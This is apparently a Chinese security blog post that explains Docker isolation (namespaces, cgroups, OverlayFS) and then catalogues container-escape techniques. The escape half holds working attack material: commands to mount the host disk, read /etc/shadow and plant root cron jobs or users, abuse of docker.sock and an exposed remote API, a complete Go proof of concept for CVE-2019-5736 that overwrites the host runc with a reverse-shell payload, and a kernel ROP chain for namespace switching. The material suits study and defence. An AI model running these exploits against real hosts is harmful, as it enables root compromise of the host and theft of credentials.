Docker-escape

云😶‍🌫️

OCI(Open Container Initiative)规范是事实上的容器标准,已经被大部分容器实现以及容器编排系统所采用,包括 Docker 和 Kubernetes。

从 OCI 规范开始了解容器镜像,可以让我们对容器技术建立更全面清晰的认知,而不是囿于实现细节。OCI 规范分为 Image spec 和 Runtime spec 两部分,它们分别覆盖了容器生命周期的不同阶段

Docker核心原理

Docker 是一个开源的应用容器引擎,基于 Go 语言 并遵从 Apache2.0 协议开源。

Docker的实现依赖于Linux中众多的基础机制,包括用于资源限制的cgroup,用于隔离的Namespace,以及用于实现docker文件系统的Union FS等。

namespace

资源隔离

Linux的 namespace 可以实现资源能够在不同的命名空间里有相同的名称,譬如在 A命名空间 有个pid为1的进程,而在 B命名空间 中也可以有一个pid为1的进程。

nsproxy.h,7种namespace,对于每个任务 task_struct 都存在一个nsproxy 成员

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/*
* A structure to contain pointers to all per-process
* namespaces - fs (mount), uts, network, sysvipc, etc.
*
* The pid namespace is an exception -- it's accessed using
* task_active_pid_ns. The pid namespace here is the
* namespace that children will use.
*
* 'count' is the number of tasks holding a reference.
* The count for each namespace, then, will be the number
* of nsproxies pointing to it, not the number of tasks.
*
* The nsproxy is shared by tasks which share all namespaces.
* As soon as a single namespace is cloned or unshared, the
* nsproxy is copied.
*/
struct nsproxy {
refcount_t count;
struct uts_namespace *uts_ns;
struct ipc_namespace *ipc_ns;
struct mnt_namespace *mnt_ns;
struct pid_namespace *pid_ns_for_children;
struct net *net_ns;
struct time_namespace *time_ns;
struct time_namespace *time_ns_for_children;
struct cgroup_namespace *cgroup_ns;
};

namespace也是linux内核的一个特性,它将内核资源分隔开,一组进程能看到一些资源,而其他组的进程看到的是不同的资源,组与组之间互不干扰,不知道对方的存在。简单来说,namespace就是内核提供的一种进程间资源隔离技术。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ubuntu@ubuntu:~$ ls -al /proc/self/ns
total 0
dr-x--x--x 2 ubuntu ubuntu 0 Mar 6 09:28 .
dr-xr-xr-x 9 ubuntu ubuntu 0 Mar 6 09:28 ..
lrwxrwxrwx 1 ubuntu ubuntu 0 Mar 6 09:28 cgroup -> 'cgroup:[4026531835]'
lrwxrwxrwx 1 ubuntu ubuntu 0 Mar 6 09:28 ipc -> 'ipc:[4026531839]'
lrwxrwxrwx 1 ubuntu ubuntu 0 Mar 6 09:28 mnt -> 'mnt:[4026531841]'
lrwxrwxrwx 1 ubuntu ubuntu 0 Mar 6 09:28 net -> 'net:[4026531840]'
lrwxrwxrwx 1 ubuntu ubuntu 0 Mar 6 09:28 pid -> 'pid:[4026531836]'
lrwxrwxrwx 1 ubuntu ubuntu 0 Mar 6 09:28 pid_for_children -> 'pid:[4026531836]'
lrwxrwxrwx 1 ubuntu ubuntu 0 Mar 6 09:28 time -> 'time:[4026531834]'
lrwxrwxrwx 1 ubuntu ubuntu 0 Mar 6 09:28 time_for_children -> 'time:[4026531834]'
lrwxrwxrwx 1 ubuntu ubuntu 0 Mar 6 09:28 user -> 'user:[4026531837]'
lrwxrwxrwx 1 ubuntu ubuntu 0 Mar 6 09:28 uts -> 'uts:[4026531838]'

与其有关的系统调用

1
2
3
# 有个unshare的命令,需要区分一下
$ man 2 unshare
$ man clone

unshare创建命名空间

1
2
3
4
5
:/ # readlink /proc/$$/ns/uts 
uts:[4026531838]
:/ # unshare --uts /bin/bash
:/ # readlink /proc/$$/ns/uts
uts:[4026532690]

cgroup

资源限制

cgroup(control group)是linux内核的一个特性,它可以用于限制、计算、隔离进程组对计算机资源的使用(如CPU、memory、disk I/O、network等)。

cgroup有如下四个功能:

  1. 资源限制(Resource limits):限制进程组对某一特定资源(CPU,disk,或network)的使用量
  2. 优先级(Prioritization):通过给某个cgroup中的进程分配多一些资源(相比于其他cgroup),从而提高优先级
  3. 审计(Accounting):记录进程/进程组使用的资源量
  4. 控制(Control):进程组控制,如可以使用freezer将进程组挂起或恢复

cgroup是容器(containers)的一个重要组成部分,因为容器中通常会运行多个进程,这些进程通常需要一并控制。

1
2
3
4
$ cat /proc/self/cgroup
0::/user.slice/user-1000.slice/user@1000.service/app.slice/app-org.gnome.Terminal.slice/vte-spawn-4f943e0d-c769-40ec-92df-ca2643d86752.scope

$ ls -al /sys/fs/cgroup # 查看cgroup文件系统,目录下每个目录代表一个cgroup类型。每一个cgroup类都遵循层级结构

Union FS

Union File System ,简称 UnionFS,把其他文件系统联合到一个联合挂载点的文件系统服务,目的是将多个文件联合在一起成为一个统一的视图

它的思想是,如果一个资源是重复的,但没有任何修改,这时候并不需要立即创建一个新的资源,这个资源可以被新旧实例共享。

创建新资源发生在第一次写操作,也就是对资源进行修改的时候。通过这种资源共享的方式,可以显著地减少未修改资源复制带来的消耗,但是也会在进行资源修改的时候增减小部分的开销。

OverlayFS:Overlayfs 是一种堆叠文件系统,它依赖并建立在其它的文件系统之上(例如 ext4fs 和 xfs 等等),并不直接参与磁盘空间结构的划分,仅仅将原来底层文件系统中不同的目录进行“合并”,然后向用户呈现。OverlayFS

MORE

如果觉得不明白,可以自己写一个简单的Docker

Docker逃逸

检测Docker环境

  • 检查根目录下是否存在.dockerenv文件
  • 检查 /proc/1/cgroup 是否存在含有docker字符串!
1
2
3
4
5
6
7
8
9
10
root@06fcbcd12128:/# ls -al /
total 60
drwxr-xr-x 1 root root 4096 Mar 6 01:52 .
drwxr-xr-x 1 root root 4096 Mar 6 01:52 ..
-rwxr-xr-x 1 root root 0 Mar 6 01:52 .dockerenv
...

# ???
root@06fcbcd12128:/# cat /proc/1/cgroup
0::/

Docker 启动容器的危险配置

如果设定了以下配置就会导致相应的隔离机制失效:

  • –privileged:使容器内的 root 权限和宿主机上的 root 权限一致,权限隔离被打破
  • –net=host:使容器与宿主机处于同一网络命名空间,网络隔离被打破
  • –pid=host:使容器与宿主机处于同一进程命令空间,进程隔离被打破
  • –volume /:/host:宿主机根目录被挂载到容器内部,文件系统隔离被打破

当操作者执行docker run --privileged时,Docker将允许容器访问宿主机上的所有设备,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。可以通过写ssh密钥、计划任务等方式达到逃逸。

判断是否为特权模式:CapEff 主要是检查线程的执行权限。如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff (1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 特权级下
bash-4.4# cat /proc/1/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

# 非特权级下
root@a8a2a8be5ee4:/# cat /proc/1/status | grep Cap
CapInh: 0000000000000000
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000

ubuntu@ubuntu:~$ capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read

挂载文件系统进行逃逸

1
2
3
4
5
6
7
8
9
10
# 查看磁盘文件
fdisk -l

# 挂载
mkdir -p hacker
mount /dev/sda1 /hacker
cat /hacker/etc/shadow

# 定时任务
/hacker/var/spool/cron/crontabs/root

也可以添加新的用户进行登录

1
2
mount /dev/sda1 /mnt
chroot /mnt adduser john

Docker危险挂载

docker.sock

docker.sock是**Docker守护进程(Docker daemon)默认监听的Unix域套接字(Unix domain socket)**,容器中的进程可以通过它与Docker守护进程进行通信。

docker.sock挂载

1
docker run -itd -v /var/run/docker.sock:/var/run/docker.sock id

检测

1
ls -lah /var/run/docker.sock

根目录

相当于直接写主机的根目录了

1
chroot /mount_dir

procfs

查看是否挂载

1
find / -name core_pattern

逃逸,(2)

1
2
3
4
# 寻找在主机下的绝对路径
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

# 写入反弹 shell 到目标的 proc 目录下

Docker remote API

通过将宿主机的docker服务通过socket的方式暴露给外部连接,使得其他主机也可以访问docker服务。

1
dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

可以利用 remote API 来操作docker进行逃逸

1
2
3
4
5
6
# 查看容器
curl http://<target>:2375/containers/json
docker -H tcp://<target>:2375 ps -a

# 将远程的根目录挂载
docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash

程序漏洞导致Docker 逃逸

使用 docker version 命令可以看到 runc && containerd 组件

runc

runc是一个底层服务工具,runC 管理容器的创建,运行,销毁等,docker部分版本服务运行时底层其实在运行着runc服务,攻击者可以通过特定的容器镜像或者exec操作重写宿主机上的runc 二进制文件,并在宿主机上以root身份执行命令。

一个容器开启时,可以分为以下三步

  • fork 创建子进程
  • 初始化容器化环境
  • 将执行流重定向到用户提供的入口点

docker run等命令的时候实际上在底层调用的是runC程序,我们在容器中运行 /bin/bash 也会调用到runC

runc

procfs:

  • /proc/[PID]/exe: 一种特殊的软连接,是该进程自身对应的本地文件
  • /proc/[PID]/fd/: 这个目录下存放了该进程打开的所有文件描述符

/proc/[PID]/exe的特殊之处在于当权限通过的情况下打开这个文件,内核将会之间返回一个指向该文件的文件描述符,并非按照传统的打开方式做路径分析和文件查找,这就会导致绕过了mnt命名空间和chroot的限制。

CVE-2019-5736:该漏洞允许攻击者重写宿主机上的runc 二进制文件,导致攻击者可以在宿主机上以root身份执行命令。

  • 修改容器内的/bin/sh文件,改为#!/proc/self/exe,这样的话,当容器内的/bin/sh被执行的时候,实际上被执行的文件路径是/proc/self/exe
  • /proc/self/exe是内核为每个进程创建的符号链接,指向为该进程而执行的二进制文件。当容器中的/bin/sh被执行时,/proc/self/exe指向的宿主机上的runc就会被执行

漏洞的存在原理在于/proc/pid/exe这个绑定的方式,/proc是比较熟知的一个概念,为一个虚拟文件系统,其中的文件能够显示当前的进程运行信息。/proc/pid/exe是一个程序链接,指向这个pid运行的程序。

而这个漏洞的利用方式就在于,在docker里查找到runc的exe,获取对应于该位置的一个文件句柄,然后向这个位置写入东西的话,就能够将宿主机的程序覆盖掉,然后用户下一次再要运行runc的时候,就会触发反弹shell。

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
)

// This is the line of shell commands that will execute on the host
// 替换IP 和 PORT
var payload = "#!/bin/bash \n bash -i >& /dev/tcp/IP/PORT 0>& 1 &\n"

func main() {
//首先来看看能不能打开/bin/sh,即有root权限就成
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}

//然后将其覆盖为#!/proc/self/exe
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")

// 循环遍历/proc里的文件,直到找到runc是哪个进程
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}

// 循环去读这个/proc/pid/exe,先拿到一个该文件的fd,该fd就指向了runc程序的位置
var handleFd = -1
for handleFd == -1 {
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")

// 然后不断的去尝试写这个指向的文件,一开始由于runc会先占用着,写不进去,直到runc的占用解除了,就立即写入
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
writeHandle.Write([]byte(payload))
return
}
}
}

CVE-2024-21626:由于 runc 内部不正确处理文件描述符,导致泄漏关键的宿主机文件描述符到容器中。

近日大火的CVE,在翻看这位师傅的文章时看到的

看起来很NB,虽然我现在看不懂😭

containerd

containerd 是一个工业级标准的容器运行时,它强调简单性健壮性可移植性,containerd 可以负责干下面这些事情:

  • 管理容器的生命周期(从创建容器到销毁容器)
  • 拉取/推送容器镜像
  • 存储管理(管理镜像及容器数据的存储)
  • 调用 runc 运行容器(与 runc 等容器运行时交互)
  • 管理容器网络接口及网络

内核漏洞

ROP

commit_creds(prepare_kernel_cred(0))不会突破namespace对于进程的限制,也就是说即使在完成提权之后,task_struct中的fs_struct或者是ns_proxy都不受到影响还处于原本的命名空间中。

可以看CVE-2021-22555的漏洞利用,在得到root权限后,需要在内核中将进程的命名空间切换为初始的全局命名空间 init_nsproxy 即可完成容器逃逸,执行switch_task_namespaces(find_task_by_vpid(1), init_nsproxy) 即可替换掉当前进程的命名空间

1
2
3
4
5
6
7
8
9
10
11
12
// switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)
*rop++ = kbase_addr + POP_RDI_RET;
*rop++ = 1; // RDI
*rop++ = kbase_addr + FIND_TASK_BY_VPID;
*rop++ = kbase_addr + POP_RCX_RET;
*rop++ = 4; // RCX
*rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;
*rop++ = 0xDEADBEEF; // RBP
*rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;
*rop++ = kbase_addr + POP_RSI_RET;
*rop++ = kbase_addr + INIT_NSPROXY; // RSI
*rop++ = kbase_addr + SWITCH_TASK_NAMESPACES;

dirty pipe

通过利用 CAP_DAC_READ_SEARCH 与脏管道可以实现覆盖主机文件,实际上主要是CAP_DAC_READ_SEARCH可以调用open_by_handle_at, 可以获得主机文件的文件描述符,配合脏管道于是就可以修改主机文件。但是需要添加cap权限 (3)

1
docker run --rm -it --cap-add=CAP_DAC_READ_SEARCH ubuntu

参考